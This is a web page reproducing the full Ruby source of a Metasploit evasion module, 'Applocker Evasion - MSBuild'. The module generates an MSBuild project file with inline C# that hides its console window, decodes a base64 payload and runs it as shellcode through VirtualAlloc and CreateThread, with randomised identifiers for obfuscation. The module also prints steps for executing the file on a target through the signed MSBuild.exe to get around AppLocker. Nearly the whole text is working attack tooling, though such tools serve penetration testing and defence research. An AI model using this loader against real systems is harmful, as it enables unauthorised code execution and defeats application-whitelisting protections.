Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/applocker_evasion_msbuild.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67def initialize(info = {})8super(update_info(info,9'Name' => 'Applocker Evasion - MSBuild',10'Description' => %(11This module will assist you in evading Microsoft12Windows Applocker and Software Restriction Policies.13This technique utilises the Microsoft signed binary14MSBuild.exe to execute user supplied code.15),16'Author' =>17[18'Nick Tyrer <@NickTyrer>', # module development19'Casey Smith' # msbuild bypass research20],21'License' => 'MSF_LICENSE',22'Platform' => 'win',23'Arch' => [ARCH_X86, ARCH_X64],24'Targets' => [['Microsoft Windows', {}]],25'References' => [['URL', 'https://attack.mitre.org/techniques/T1127/']])26)2728register_options(29[30OptString.new('FILENAME', [true, 'Filename for the evasive file (default: msbuild.txt)', 'msbuild.txt'])31]32)33end3435def build_payload36Rex::Text.encode_base64(payload.encoded)37end3839def obfu40Rex::Text.rand_text_alpha 841end4243def msbuild44esc = build_payload45mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]46<<~HEREDOC47<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">48<Target Name="#{mod[0]}">49<#{mod[1]} />50</Target>51<UsingTask52TaskName="#{mod[1]}"53TaskFactory="CodeTaskFactory"54AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >55<Task>56<Code Type="Class" Language="cs">57<![CDATA[58using System;59using System.Runtime.InteropServices;60using Microsoft.Build.Framework;61using Microsoft.Build.Utilities;62public class #{mod[1]} : Task, ITask63{64private static Int32 #{mod[2]}=0x1000;65private static IntPtr #{mod[3]}=(IntPtr)0x40;66private static UInt32 #{mod[4]} = 0xFFFFFFFF;67[System.Runtime.InteropServices.DllImport("kernel32")]68private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);69[System.Runtime.InteropServices.DllImport("kernel32")]70private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);71[System.Runtime.InteropServices.DllImport("kernel32")]72private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);73[System.Runtime.InteropServices.DllImport("user32.dll")]74static extern bool ShowWindow(IntPtr #{mod[5]}, int nCmdShow);75[System.Runtime.InteropServices.DllImport("Kernel32")]76private static extern IntPtr GetConsoleWindow();77const int #{mod[6]} = 0;78public override bool Execute()79{80IntPtr #{mod[5]};81#{mod[5]} = GetConsoleWindow();82ShowWindow(#{mod[5]}, #{mod[6]});83string #{mod[7]} = "#{esc}";84byte[] #{mod[8]} = Convert.FromBase64String(#{mod[7]});85byte[] #{mod[9]} = #{mod[8]};86IntPtr #{mod[10]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[9]}.Length, #{mod[2]}, #{mod[3]});87System.Runtime.InteropServices.Marshal.Copy(#{mod[9]}, 0, #{mod[10]}, #{mod[9]}.Length);88IntPtr #{mod[11]} = IntPtr.Zero;89WaitForSingleObject(CreateThread(#{mod[11]}, UIntPtr.Zero, #{mod[10]}, #{mod[11]}, 0, ref #{mod[11]}), #{mod[4]});90return true;91}92}93]]>94</Code>95</Task>96</UsingTask>97</Project>98HEREDOC99end100101def file_format_filename(name = '')102name.empty? ? @fname : @fname = name103end104105def create_files106f1 = datastore['FILENAME'].empty? ? 'msbuild.txt' : datastore['FILENAME']107f1 << '.txt' unless f1.downcase.end_with?('.txt')108file1 = msbuild109file_format_filename(f1)110file_create(file1)111end112113def instructions114print_status "Copy #{datastore['FILENAME']} to the target"115if payload.arch.first == ARCH_X86116print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILENAME']}"117else118print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\MSBuild.exe #{datastore['FILENAME']}"119end120end121122def run123create_files124instructions125end126end127128129